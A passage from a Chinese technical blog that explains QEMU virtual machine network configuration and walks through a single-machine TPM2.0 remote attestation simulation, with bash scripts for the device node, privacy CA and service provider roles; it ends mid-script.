网卡驱动不适用于 kernel版本>5.4的内核 Usermode Networking在上述过程后,启动的虚拟机可能会存在一个问题,无法上网,以下是可能出现的情况以及解决办法 使用命令ifconfig 只有 lo网卡,但是使用ifconfig -a命令后,存在en 开头的网卡 12345678# 这种情况只是网卡(en开头)没有启用# 1. 为网卡指定IP地址,并启动网卡sudo ifconfig <网卡名> <ip地址> up# 2. 使用dhcp,为网卡自动分配IP地址sudo dhclient <网卡名> # 如果出现 dhclient: commond not found # 使用apt install isc-dhcp-client 安装dhclient 还有资料介绍,在Ubuntu18 之后,尤其是20.04 ,Ubuntu已经切换到基于YAML的Netplan来配置网络。详细内容见链接:https://blog.csdn.net/qq_40156289/article/details/109540518 , https://zhuanlan.zhihu.com/p/46544606 , https://blog.csdn.net/xiongyangg/article/details/110206220 如果报错netplan 命令不存在,参考此链接:https://www.cnblogs.com/zh-dream/p/13405799.html 经过上述的操作, 你会发现你的虚拟机已经可以上网了,但是会有一个问题,host无法ping通虚拟机。 如果出现无法ping通百度的情况,请参考下面增加域名服务器地址的操作。 Bridged Networking 安装桥接模式必备工具 12sudo apt-get install bridge-utils # 虚拟网桥工具sudo apt-get install uml-utilities # UML(User-mode Linux)工具 创建一张 TUN网卡 123# 创建一张网卡给指定的用户使用sudo tunctl -t <网卡名> -u <用户名> 例:sudo tunctl -t tap0 -u zxl 将网卡操作命令设置为任何人都有权使用 1sudo chmod 0666 /dev/net/tun 为创建的网卡设置一个IP地址并启动网卡,不要与真实的IP 地址在同一个网段。例如,真实IP地址是192.168.1.2,那就给tap0设置为192.168.2.1: 1sudo ifconfig tap0 192.168.2.1 up host需要为虚拟机开启IP数据包转发,即在192.168.1.* 网段和192.168.2.*网段转发数据 12sudo echo 1 > /proc/sys/net/ipv4/ip_forward # 这里可能sudo的权限也不够,需要su切换到root用户进行操作。sudo iptables -t nat -A POSTROUTING -j MASQUERADE 到这里,host的配置完毕。 启动虚拟机: 1234qemu-system-x86_64 --enable-kvm -net nic -net tap,ifname=tap0,script=no,downscript=no -s -kernel ./vmlinux -hda ./rootfs.img -m 4096M -nographic -append "root=/dev/# -net nic - 不加任何参数表示使用默认的网卡类型e1000# -net tap,ifname=tap0,script=no,downscript=no - 指定网卡接口名称为tap0,设置host在启动客户机时自动执行的网络配置脚本和宿主机在客户机关闭时自动执行的网路配置脚本。由于qemu中运行自主系统,因此这里不适用系统脚本,全部为no。 qemu网络通信方式: 1. User mode stack:用户协议栈方式,这种方式的大概原理是在 QEMU 进程中实现一个协议栈,这个协议栈可以被视为一个主机与虚拟机之间的 NAT 服务器,它负责将 QEMU 所模拟的系统网络请求转发到外部网卡上面,从而实现网络通信。但是不能将外面的请求转发到虚拟机内部,并且虚拟机 VLAN 中的每个接口必须放在 10.0.2.0 子网中。 2. socket: 为 VLAN 创建套接字,并把多个 VLAN 连接起来。 3. TAP/bridge:最重要的一种通信方式,我们想要实现 QEMU 虚拟机和外部通信就需要使用这种方式。 4. VDE:也是用于连接 VLAN 的,如果没有 VLAN 连接需求基本用不到。 进入虚拟机后,使用ifconfig -a 可以看到,ens3网卡没有启动。 给其设置一个IP地址,要求与tap0 在同一网段即可,例如 192.168.2.2 1sudo ifconfig ens3 192.168.2.2 up 之后就能发现,宿主机与虚拟机可以相互ping通。但是此时,虚拟机还不能上外网,因为虚拟机缺少网关。现在把虚拟机的tap0的地址,即192.168.2.1,设置为虚拟机的网关:(有可能在设置网关之前,哪个都ping不通,但是没有影响,设置完网关即可。) 1sudo route add default gw 192.168.2.1 这样,也可以ping通外网了,比如ping 115.239.211.112。但是ping www.baidu.com却不行,因为缺少DNS服务器!现在就把8.8.8.8指定为虚拟机的DNS服务器: 123sudo vim /etc/resolv.conf# 追加域名服务器地址 nameserver 8.8.8.8 写入文件之后,DNS立即生效了。现在,虚拟机既能上外网,又能与宿主机通信了! 详细见:安装qemu-kvm以及配置桥接网络,Linux下qemu网络配置(不使用en网络接口) 参考资料 KVM/Networkin QEMU doc QEMU 虚拟机网络模式 qemu e1000网卡驱动 解决没有e1000 驱动 解决没有e1000驱动 下载安装e1000驱动","link":"/2022/09/13/qemu%E6%90%AD%E9%85%8Drootfs%E5%90%AF%E5%8A%A8%E8%99%9A%E6%8B%9F%E6%9C%BA%E5%8F%8A%E5%85%B6%E7%BD%91%E7%BB%9C%E9%85%8D%E7%BD%AE/"},{"title":"TPM2.0远程证明仿真","text":"该远程证明仿真试验是对TPM远程证明的一次单机模拟,仅用于熟悉PCA模式下远程证明的流程,与真实远程证明相比省略了很多的流程和细节。 测试环境 Ubuntu 20.04.1 vmware虚拟TPM2.0 注:由于使用的PCA模式,并且没有用到TPM2.0的新特性,对于TPM1.2也是可以按照该试验的思路进行模拟 如何在Vmware虚拟机中安装TPM芯片,参见教程Vmware Fusion TPM安装过程 fdupes 在远程证明部分,隐私CA会使用到的工具。 在Ubuntu中可以直接通过命令apt install fdupes进行安装 基于TPM2 Tools的远程证明在实际开始远程证明之前,先介绍两个重要的概——PCR和Quote。 PCR平台状态寄存器(PCR)是⽤来记录系统运⾏状态的寄存器,TCG规范要求实现的⼀组寄存器,⾄少有 16个(TCG 1.1规范),每个20个字节;TCG 1.2规范中引进了8个额外的平台状态寄存器⽤于实现动态 可信根(DRTM);在TPM 2.0之后,引⼊了多bank的概念。 平台配置寄存器(PCR)是TPM中的存储位置,具有某些唯⼀的属性。可以存储在PCR中的值的⼤⼩取 决于关联的哈希算法⽣成的摘要的⼤⼩。SHA-1 PCR可以存储20个字节– SHA-1摘要的⼤⼩。与同⼀哈希 算法相关的多个PCR被称为PCR库。 read测试使⽤tpm2_pcrread读取sha1库和sha256库中的0,1,2的值。 reset测试经过测试无法对前15个PCR寄存器进行置空(reset),但是可以拓展(extend)。PCR 0至15不可复位(属于SRTM,静态可信根)。PCR 16至22主要保留给DRTM或专用于特定位置,并且可能无法重置,具体取决于当前的TPM位置(通常是位置0)。 extend测试这里选择了PCR寄存器11,12,13进行PCR操作的模拟。 首先创建两个原始数据,两个分别对字符串”CRITICAL-DATA”,进行sha1和sha256计算。 12SHA256_DATA=`echo "CRITICAL-DATA" | openssl dgst -sha256 -binary | xxd -p -c 32`SHA1_DATA=`echo "CRITICAL-DATA" | openssl dgst -sha1 -binary | xxd -p -c 20` 二者的值如下: 然后对两个数据进行拓展操作,拓展结果放在PCR 11中。 12tpm2_pcrextend 11:sha1=$SHA1_DATA,sha256=$SHA256_DATAtpm2_pcrread sha1:11+sha256:11 结果如下: 然后使用命令: 123INITIAL_SHA1_DATA="0000000000000000000000000000000000000000"CONCATENATED=`echo -ne $INITIAL_SHA1_DATA; echo $SHA1_DATA`echo $CONCATENATED 1echo $CONCATENATED | xxd -r -p | openssl dgst -sha1 同样的方式对sha256进行测试,结果均与PCR中存储的值一致。 Quote创建EK、AK创建EK,-c参数代表将创建的密钥上下文对象存储在文件或者句柄中,-G代表使用的密钥算法,-u表示公钥输出,-f代表格式 根据EK创建AK(或者叫AIK)。-C代表密钥层级,-s签名算法,-n代表ak密钥名字。 计算Quote计算Quote。-l指明计算Quote使用的PCR,-q即防重放攻击的随机数,-m输出的信息(记录被TPM签名的数据的整合信息,该信息可以理解为PCR被Quote处理后的结果),-s签名输出文件,-oPCR记录文件。 Quote的输出信息中最重要的就是-m输出的quote.out和-s输出的签名文件。这两个文件会被checkquote进行校验,一旦quote.out中记录的信息出错或者签名文件不正确,均无法通过校验。 type仅有2种TPMS_ATTEST,TPMS_CONTEXT数据结构。quote.out文件的内容属于数据结构TPMS_ATTEST。 上述输出中还可以看到一个值calcDigest,这是根据PCR的信息计算出来的摘要值,存储在quote.out中的pcrDigest参数中。该值也是远程证明过程中需要校验的重要因素。 TPMS_ATTEST TPMS_ATTEST结构如下: magic:表明该结构是由TPM创建的,始终为TPM2_GENERATED_VALUE。 type:证明结构的类型。对于具有PCR信息的类型为TPM2_ST_ATTEST_QUOTE,在此进行详细讨论。 qualifiedSigner:签名密钥的合格名称。术语合格名称是所有祖先键的所有名称的摘要,这些名称返回到层次结构根部的“主种子”。 extraData:调用方提供的外部信息。由“服务提供商”生成的NONCE添加在此字段中。 clock:TPM通电的时间(以毫秒为单位)。更改“存储主种子” TPM2_Clear时,此值重置为零。 resetCount:自上一次TPM2_Clear以来发生的TPM重置次数。 restartCount:自上一次TPM重置或TPM2_Clear以来发生TPM2_Shutdown或_TPM_Hash_Start的次数。 safe:指示TPM先前未报告过Clock的值大于Clock的当前值。在TPM2_Clear上设置为YES。 firmwareVersion:TPM供应商特定的值,用于标识固件的版本号。 pcrSelect:有关algID(使用的签名算法),选择的PCR和摘要的信息。 count:选择结构的数量。允许值为零。这表示所选PCR库的数量(SHA1,SHA256等) pcrSelections:这是PCR选择结构的列表。 hash:与选择库关联的哈希算法。 sizeofSelect:pcrSelect数组的字节大小。这表示代表库中所有PCR所需的字节数。每个PCR都以位表示。例如,对于每个存储库24个PCR,selectof的大小应为3个字节。 pcrSelect:所选PCR的位图(最低有效字节在前)。位图结构如下,选择了15,16和22号PCR。 pcrDigest:使用签名密钥的哈希算法选择的PCR的摘要。 TPMS_CONTEXT该类型是密钥上下文(key context)的数据结构。上文中创建的EK.ctx和AK.ctx均属于这个类型。 CheckQuote最后校验Quote信息。通过Quote提供的签名,TPM记录,pcrs的记录,随机数,以及ak公钥验证。分别使用错误的随机数,以及错误的签名信息,结果如下。 使用tpm2-tools进行简单证明该远程证明由于是单机实现,因此采用一个文件夹来模拟一个设备,不同文件夹之间拷贝数据来模拟设备间的通信。 证明模型中的目标和角色 设备节点 Device-Node:具有TPM的边缘平台,其系统软件状态受关注。 它使用Quote中包含的PCR数据摘要生成证明结构。平台使用用于匿名的证明身份密钥(AIK)对Quote进行签名。AIK以密码方式绑定到同一平台上的唯一身份密钥。唯一的身份密钥是背书密钥(EK)。 隐私CA Privacy-CA:唯一一个可以证明AIK与有效EK关联而无需将EK暴露给“服务供应商”的可信实体。 这也是除“设备节点”之外唯一从“设备节点”给定AIK了解EK的实体。 服务供应商 Service-Provider:与“设备节点”通信以使用服务的实体。“服务供应商”需要确保以下几点: a. 实体请求服务已在“ Privacy-CA”中注册了其唯一身份。 b. 匿名身份属于“ Privacy-CA”存储的已注册唯一身份池。 c. “设备节点”的系统软件状态是可以接受的状态。 远程证明中的初始状态我们共有三台设备,分别是一个设备节点(DNODE),一个服务供应商(SP),以及一个隐私CA(PCA)。如下图: 对于DNODE,它初始时仅知道SP的位置以及自己的位置,对于PCA的位置是未知的。 对于SP,它初始时仅知道PCA的位置,而对于设备节点的位置是未知的。 但是在SP的数据库是事先存有DNODE的要证实的PCR列表以及对应摘要信息的。 对于PCA,它也仅知道SP的位置,对于设备节点的位置是未知的,同样初始时token是不存在。 Step 1 - 注册 部分关键代码解释: 设备注册过程创建ek和aik 隐私CA获取ek公钥,aik公钥和aik的名字 隐私CA创建公钥证书并在证书中包含一个秘密,发送给设备节点 设备节点解密之后将结果发回给隐私CA 隐私CA收到后,判断设备节点解析的秘密是否匹配 步骤3、4、5是隐私CA校验设备节点的身份。 Step 2 - 平台匿名身份验证这一步的过程与注册类似。设备将AIK公钥发送给服务供应商。服务供应商将AIK公钥发送给隐私CA以验证设备节点的身份。然后隐私CA请求设备的EK公钥以验证设备的身份。 Step 3 - 平台状态验证 部分关键代码解释: 上一步TOKEN校验通过之后,服务供应商向设备发送一个PCR清单和一个随机数NONCE。 设备收到PCR清单和随机数之后,对这些信息进行Quote计算。Quote会生成四份信息,TPMS_ATTEST结构信息的文件attestation_quote.dat、一个签名文件attestation_quote.signature、PCR内容信息文件pcr.bin,以及一个PCR摘要calcdigest(其包含在TPMS_ATTEST结构中)。然后将生成好的TPMS_ATTEST文件和签名文件发送给服务供应商。 服务供应商收到Quote信息后,首先使用之前收到的AIK公钥对其进行校验,校验会同时检验签名文件和随机数是否正确 服务供应商接着从TPMS_ATTEST中提取PCR的摘要与自身保存的摘要信息进行匹配。至此远程证实工作完成。 device_node代码123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385#!/bin/bash# Fixed locationservice_provider_location="$PWD/../SP"# PCA locationprivacy_ca_location=""# Location for node 1, node 2, etc.device_location="$PWD"# Stateevent_file_found=0device_registration_request=0device_service_request=0wait_loop() { counter=1 until [ $counter -gt $1 ] do test -f $2 if [ $? == 0 ];then event_file_found=1 break else echo -ne "Waiting $1 seconds: $counter"'\\r' fi ((counter++)) sleep 1 done}LOG_ERROR() { errorstring=$1 echo -e "\\033[31mFAIL: \\e[97m${errorstring}\\e[0m"}LOG_INFO() { messagestring=$1 echo -e "\\033[93mPASS: \\e[97m${messagestring}\\e[0m"}await_and_compelete_credential_challenge() { # Wait for credential challenge cred_status_string="Encrypted credential receipt from Privacy-CA." max_wait=60 wait_loop $max_wait cred.out if [ $event_file_found == 0 ];then LOG_ERROR "$cred_status_string" return 1 fi event_file_found=0 LOG_INFO "$cred_status_string" tpm2_startauthsession --policy-session --session session.ctx -Q TPM2_RH_ENDORSEMENT=0x4000000B tpm2_policysecret -S session.ctx -c $TPM2_RH_ENDORSEMENT -Q tpm2_activatecredential --credentialedkey-context rsa_ak.ctx \\ --credentialkey-context rsa_ek.ctx --credential-blob cred.out \\ --certinfo-data actcred.out --credentialkey-auth "session:session.ctx" -Q rm -f cred.out tpm2_flushcontext session.ctx -Q rm -f session.ctx}device_registration() { # Send device location to service-provider echo "device_location: $device_location" > d_s_registration.txt cp d_s_registration.txt $service_provider_location/. rm -f d_s_registration.txt # Wait for PCA location information from service provider max_wait=60 wait_loop $max_wait s_d_registration.txt registration_status_string="Privacy-CA information receipt from Service-Provider." if [ $event_file_found == 0 ];then LOG_ERROR "$registration_status_string" return 1 fi event_file_found=0 LOG_INFO "$registration_status_string" privacy_ca_location=`grep privacy_ca_location s_d_registration.txt | \\ awk '{print $2}'` rm -f s_d_registration.txt registration_status_string="Acknowledgement reciept from Privacy-CA." wait_loop $max_wait p_d_pca_ready.txt if [ $event_file_found == 0 ];then LOG_ERROR "$registration_status_string" return 1 fi event_file_found=0 LOG_INFO "$registration_status_string" rm -f p_d_pca_ready.txt #Ready EKcertificate, EK and AIK and set ready status so PCA can pull tpm2_createek --ek-context rsa_ek.ctx --key-algorithm rsa \\ --public rsa_ek.pub -Q tpm2_startauthsession -S session.ctx --policy-session -Q tpm2_policysecret -S session.ctx -c e -Q tpm2_create -C rsa_ek.ctx -u rsa_ak.pub -r rsa_ak.priv \\ -P session:session.ctx -Q tpm2_policysecret -S session.ctx -c e -Q tpm2_load -C rsa_ek.ctx -P session:session.ctx -u rsa_ak.pub -r rsa_ak.priv -c rsa_ak.ctx -Q tpm2_readpublic -c rsa_ak.ctx -f pem -o rsa_ak.pub -n rsa_ak.name -Q tpm2_flushcontext session.ctx -Q touch fake_ek_certificate.txt touch d_p_device_ready.txt cp d_p_device_ready.txt $privacy_ca_location/. rm -f d_p_device_ready.txt registration_status_string="Credential activation challenge." await_and_compelete_credential_challenge if [ $? == 0 ];then LOG_INFO "$registration_status_string" cp actcred.out $privacy_ca_location/. rm -f actcred.out return 0 else LOG_ERROR "$registration_status_string" return 1 fi}request_device_registration () { device_registration if [ $? == 1 ];then return 1 fi device_registration_status_string="Registration token receipt from Privacy-CA." max_wait=60 wait_loop $max_wait p_d_registration_token.txt if [ $event_file_found == 0 ];then LOG_ERROR "$device_registration_status_string" return 1 fi LOG_INFO "$device_registration_status_string" event_file_found=0 cp p_d_registration_token.txt \\ $service_provider_location/d_s_registration_token.txt rm -f p_d_registration_token.txt return 0}## Request service with the Service-Provider# Read the Privacy-CA location from Service-Provider# Deliver EK, AIK, EKcertificate to the Privacy-CA# Complete credential challenge with the Privacy-CA# Retrieve the SERVICE-TOKEN from the Privacy-CA# Present the SEVICE-TOKEN to the Service-Provider#process_device_anonymous_identity_challenge() { # Start device service test -f $device_service_aik if [ $? == 1 ];then LOG_ERROR "Aborting service request - AIK could not be found." return 1 else echo "device_location: $device_location" > d_s_service.txt cp d_s_service.txt $service_provider_location/. rm -f d_s_service.txt cp $device_service_aik $service_provider_location/d_s_service_aik.pub fi identity_challenge_status_string="Privacy-CA information receipt from Service-Provider." max_wait=60 wait_loop $max_wait s_d_service.txt if [ $event_file_found == 1 ];then event_file_found=0 privacy_ca_location=`grep privacy_ca_location s_d_service.txt | \\ awk '{print $2}'` rm -f s_d_service.txt LOG_INFO "$identity_challenge_status_string" else LOG_ERROR "$identity_challenge_status_string" return 1 fi identity_challenge_status_string="Acknowledgement receipt from Privacy-CA." wait_loop $max_wait p_d_pca_ready.txt if [ $event_file_found == 0 ];then LOG_ERROR "$identity_challenge_status_string" return 1 fi LOG_INFO "$identity_challenge_status_string" event_file_found=0 rm -f p_d_pca_ready.txt touch d_p_device_ready.txt cp d_p_device_ready.txt $privacy_ca_location/. rm -f d_p_device_ready.txt identity_challenge_status_string="Credential activation challenge." await_and_compelete_credential_challenge if [ $? == 0 ];then LOG_INFO "$identity_challenge_status_string" cp actcred.out $privacy_ca_location/. rm -f actcred.out else LOG_ERROR "$identity_challenge_status_string" rm -f actcred.out return 1 fi identity_challenge_status_string="Service-Token receipt from Privacy-CA." wait_loop $max_wait p_d_service_token.txt if [ $event_file_found == 0 ];then LOG_ERROR "$identity_challenge_status_string" return 1 fi LOG_INFO "$identity_challenge_status_string" event_file_found=0 cp p_d_service_token.txt \\ $service_provider_location/d_s_service_token.txt rm -f p_d_service_token.txt return 0}process_device_software_state_validation_request() { software_state_string="PCR selection list receipt from Service-Provider" max_wait=60 wait_loop $max_wait s_d_pcrlist.txt if [ $event_file_found == 0 ];then LOG_ERROR "$software_state_string" return 1 fi LOG_INFO "$software_state_string" event_file_found=0 pcr_selection=`grep pcr-selection s_d_pcrlist.txt | \\ awk '{print $2}'` service_provider_nonce=`grep nonce s_d_pcrlist.txt | \\ awk '{print $2}'` rm -f s_d_pcrlist.txt tpm2_quote --key-context rsa_ak.ctx --message attestation_quote.dat \\ --signature attestation_quote.signature \\ --qualification "$service_provider_nonce" \\ --pcr-list "$pcr_selection" \\ --pcr pcr.bin -Q cp attestation_quote.dat attestation_quote.signature pcr.bin \\ $service_provider_location/. return 0}process_encrypted_service_data_content() { service_data_status_string="Encrypted service-data-content receipt from Service-Provider" max_wait=6 wait_loop $max_wait s_d_service_content.encrypted if [ $event_file_found == 0 ];then LOG_ERROR "$service_data_status_string" return 1 fi LOG_INFO "$service_data_status_string" event_file_found=0 service_data_status_string="Decryption of service-data-content receipt from Service-Provider" tpm2_rsadecrypt -c rsa_ak.ctx -o s_d_service_content.decrypted \\ s_d_service_content.encrypted -Q if [ $? == 1 ];then LOG_ERROR "$service_data_status_string" rm -f s_d_service_content.encrypted return 1 fi LOG_INFO "$service_data_status_string" SERVICE_CONTENT=`cat s_d_service_content.decrypted` LOG_INFO "Service-content: \\e[5m$SERVICE_CONTENT" rm -f s_d_service_content.* return 0}request_device_service() { request_service_status_string="Device anonymous identity challenge." process_device_anonymous_identity_challenge if [ $? == 1 ];then LOG_ERROR "$request_service_status_string" return 1 fi LOG_INFO "$request_service_status_string" request_service_status_string="Device software state validation" process_device_software_state_validation_request if [ $? == 1 ];then LOG_ERROR "$request_service_status_string" return 1 fi LOG_INFO "$request_service_status_string" request_service_status_string="Service data content processing" process_encrypted_service_data_content if [ $? == 1 ];then LOG_ERROR "$request_service_status_string" return 1 fi return 0}tput scread -r -p "Demonstration purpose only, not for production. Continue? [y/N] " responsetput rctput elif [[ "$response" =~ ^([yY][eE][sS]|[yY])$ ]]then echo "===================== DEVICE-NODE ====================="else exitfiwhile getopts ":hrt:" opt; do case ${opt} in h ) echo "Pass 'r' for registration or 't' for service request" ;; r ) device_registration_request=1 ;; t ) device_service_request=1 device_service_aik=$OPTARG ;; esacdoneshift $(( OPTIND - 1 ))if [ $device_registration_request == 1 ];then if [ $device_service_request == 1 ];then echo "Specify either 'registration' or 'service' request not both" exit 1 fifistatus_string="Device registration request."if [ $device_registration_request == 1 ];then request_device_registration if [ $? == 1 ];then LOG_ERROR "$status_string" exit 1 fi LOG_INFO "$status_string"fistatus_string="Device service request."if [ $device_service_request == 1 ];then request_device_service if [ $? == 1 ];then LOG_ERROR "$status_string" exit 1 fifiif [ $device_registration_request == 0 ];then if [ $device_service_request == 0 ];then echo "Usage: device-node.sh [-h] [-r] [-t AIK.pub]" exit 1 fifi# No errorsexit 0 private_ca代码123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236#!/bin/bash# Fixed locationservice_provider_location="$PWD/../SP"# Location for node 1, node 2, etc.device_location=""registration_token=""# Stateevent_file_found=0wait_loop() { counter=1 until [ $counter -gt $1 ] do test -f $2 if [ $? == 0 ];then event_file_found=1 break else echo -ne "Waiting $1 seconds: $counter"'\\r' fi ((counter++)) sleep 1 done}LOG_ERROR() { errorstring=$1 echo -e "\\033[31mFAIL: \\e[97m${errorstring}\\e[0m"}LOG_INFO() { messagestring=$1 echo -e "\\033[93mPASS: \\e[97m${messagestring}\\e[0m"}process_device_registration_request_from_service_provider() { device_location=`grep device_location s_p_registration.txt | \\ awk '{print $2}'` registration_token=`grep registration_token s_p_registration.txt | \\ awk '{print $2}'` rm -f s_p_registration.txt return 0}credential_challenge() { file_size=`stat --printf="%s" rsa_ak.name` loaded_key_name=`cat rsa_ak.name | xxd -p -c $file_size` echo "this is my secret" > file_input.data tpm2_makecredential --tcti none --encryption-key rsa_ek.pub \\ --secret file_input.data --name $loaded_key_name \\ --credential-blob cred.out cp cred.out $device_location/. credential_status_string="Activated credential receipt from device." max_wait=60 wait_loop $max_wait actcred.out if [ $event_file_found == 0 ];then LOG_ERROR "$credential_status_string" return 1 fi LOG_INFO "$credential_status_string" event_file_found=0 diff file_input.data actcred.out test=$? rm -f rsa_ak.* file_input.data actcred.out cred.out credential_status_string="Credential activation challenge." if [ $test == 0 ];then LOG_INFO "$credential_status_string" return 0 else LOG_ERROR "$credential_status_string" return 1 fi}process_device_registration_processing_with_device() { touch p_d_pca_ready.txt cp p_d_pca_ready.txt $device_location/. rm -f p_d_pca_ready.txt process_registration_status_string="Device-ready acknowledgement receipt from device." max_wait=60 wait_loop $max_wait d_p_device_ready.txt if [ $event_file_found == 0 ];then LOG_ERROR "$process_registration_status_string" return 1 fi LOG_INFO "$process_registration_status_string" event_file_found=0 rm -f d_p_device_ready.txt cp $device_location/rsa_ek.pub . cp $device_location/rsa_ak.pub . cp $device_location/rsa_ak.name . LOG_INFO "Received EKcertificate EK and AIK from device" credential_challenge if [ $? == 1 ];then return 1 fi return 0}request_device_registration() { mkdir -p Registered_EK_Pool registration_request_status_string="Device info and registration-token receipt from service-provider." process_device_registration_request_from_service_provider if [ $? == 1 ];then LOG_ERROR "$registration_request_status_string" return 1 fi LOG_INFO "$registration_request_status_string" registration_request_status_string="Registration-token dispatch to device." process_device_registration_processing_with_device if [ $? == 1 ];then LOG_ERROR "$registration_request_status_string" return 1 else LOG_INFO "$registration_request_status_string" echo "registration_token: $registration_token" > \\ p_d_registration_token.txt cp p_d_registration_token.txt $device_location/. rm -f p_d_registration_token.txt fi mv rsa_ek.pub Registered_EK_Pool/$registration_token fdupes --recurse --omitfirst --noprompt --delete --quiet \\ Registered_EK_Pool | grep -q rsa_ek.pub return 0}request_device_service() { device_location=`grep device_location s_p_service.txt | \\ awk '{print $2}'` service_token=`grep service_token s_p_service.txt | \\ awk '{print $2}'` rm -f s_p_service.txt cp s_p_service_aik.pub $device_location/rsa_ak.pub rm -f s_p_service_aik.pub process_device_registration_processing_with_device if [ $? == 1 ];then LOG_ERROR "AIK received from service provider is not on the device" return 1 fi cp rsa_ek.pub Registered_EK_Pool fdupes --recurse --omitfirst --noprompt --delete --quiet \\ Registered_EK_Pool | grep -q rsa_ek.pub retval=$? rm -f rsa_ek.pub Registered_EK_Pool/rsa_ek.pub if [ $retval == 1 ];then LOG_ERROR "EK from device does not belong to the registered EK pool" return 1 fi echo "service-token: $service_token" > p_d_service_token.txt cp p_d_service_token.txt $device_location rm -f p_d_service_token.txt return 0}tput scread -r -p "Demonstration purpose only, not for production. Continue? [y/N] " responsetput rctput elif [[ "$response" =~ ^([yY][eE][sS]|[yY])$ ]]then echo "===================== PRIVACY-CA ====================="else exitfidevice_registration_request=0device_service_request=0counter=1max_wait=60until [ $counter -gt $max_wait ]do ! test -f s_p_registration.txt device_registration_request=$? ! test -f s_p_service.txt device_service_request=$? if [ $device_registration_request == 1 ];then status_string="Device registration request." request_device_registration if [ $? == 1 ];then LOG_ERROR "$status_string" exit 1 fi LOG_INFO "$status_string" break elif [ $device_service_request == 1 ];then status_string="Device service request received." request_device_service if [ $? == 1 ];then LOG_ERROR "$status_string" exit 1 fi LOG_INFO "$status_string" break else echo -ne "Waiting $1 seconds: $counter"'\\r' fi ((counter++)) sleep 1doneif [ $device_registration_request == 0 ];then if [ $device_service_request == 0 ];then LOG_ERROR "Exiting as there are no service provider requests to process." exit 1 fifi# No errorsexit 0 service_provider代码123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291#!/bin/bash# Fixed locationpca_location="$PWD/../PCA"# Device Location not fixeddevice_location=""# Stateevent_file_found=0device_registration_request=0device_service_request=0# Attestation DataGOLDEN_PCR_SELECTION="sha1:0,1,2+sha256:0,1,2"GOLDEN_PCR="3287d55f2eb854d7f653f359efc1e21aa1ac3ed5ea9a4a553e2f54fdd94b1586"# Service DataSERVICE_CONTENT="Hello world!"wait_loop() { counter=1 until [ $counter -gt $1 ] do test -f $2 if [ $? == 0 ];then event_file_found=1 break else echo -ne "Waiting $1 seconds: $counter"'\\r' fi ((counter++)) sleep 1 done}LOG_ERROR() { errorstring=$1 echo -e "\\033[31mFAIL: \\e[97m${errorstring}\\e[0m"}LOG_INFO() { messagestring=$1 echo -e "\\033[93mPASS: \\e[97m${messagestring}\\e[0m"}device_registration() { REGISTRATION_TOKEN=`dd if=/dev/urandom bs=1 count=32 status=none | \\ xxd -p -c32` device_location=`grep device_location d_s_registration.txt | \\ awk '{print $2}'` rm -f d_s_registration.txt data_to_privacy_ca=" device_location: $device_location registration_token: $REGISTRATION_TOKEN " echo "$data_to_privacy_ca" > s_p_registration.txt cp s_p_registration.txt $pca_location/. rm -f s_p_registration.txt # Send privacy-CA information to device echo "privacy_ca_location: $pca_location" > s_d_registration.txt cp s_d_registration.txt $device_location/. rm -f s_d_registration.txt # Wait for device_registration_token from device registration_status_string="Registration-Token reciept from device." wait_loop $max_wait d_s_registration_token.txt if [ $event_file_found == 0 ];then LOG_ERROR "$registration_status_string" return 1 fi LOG_INFO "$registration_status_string" event_file_found=0 test_registration_token=`grep registration_token \\ d_s_registration_token.txt | awk '{print $2}'` rm -f d_s_registration_token.txt registration_status_string="Registration-Token validation" if [ $test_registration_token == $REGISTRATION_TOKEN ];then LOG_INFO "$registration_status_string" return 0 else LOG_ERROR "$registration_status_string" return 1 fi}device_node_identity_challenge() { SERVICE_TOKEN=`dd if=/dev/urandom bs=1 count=32 status=none | \\ xxd -p -c32` device_location=`grep device_location d_s_service.txt | \\ awk '{print $2}'` rm -f d_s_service.txt data_to_privacy_ca=" device_location: $device_location service_token: $SERVICE_TOKEN " echo "$data_to_privacy_ca" > s_p_service.txt cp s_p_service.txt $pca_location/. rm -f s_p_service.txt # Send privacy-CA information to device echo "privacy_ca_location: $pca_location" > s_d_service.txt cp s_d_service.txt $device_location rm -f s_d_service.txt identity_challenge_status_string="Aborting service request - AIK not found." test -f d_s_service_aik.pub if [ $? == 1 ];then LOG_ERROR "$identity_challenge_status_string" return 1 else cp d_s_service_aik.pub $pca_location/s_p_service_aik.pub fi identity_challenge_status_string="Service-Token receipt from device." wait_loop $max_wait d_s_service_token.txt if [ $event_file_found == 0 ];then LOG_ERROR "$identity_challenge_status_string" return 1 fi LOG_INFO "$identity_challenge_status_string" event_file_found=0 test_service_token=`grep service-token \\ d_s_service_token.txt | awk '{print $2}'` rm -f d_s_service_token.txt identity_challenge_status_string="Service-Token validation." if [ $test_service_token == $SERVICE_TOKEN ];then LOG_INFO "$identity_challenge_status_string" return 0 fi LOG_ERROR "$identity_challenge_status_string" return 1}system_software_state_validation() { rm -f attestation_quote.dat attestation_quote.signature echo "pcr-selection: $GOLDEN_PCR_SELECTION" > s_d_pcrlist.txt NONCE=`dd if=/dev/urandom bs=1 count=32 status=none | xxd -p -c32` echo "nonce: $NONCE" >> 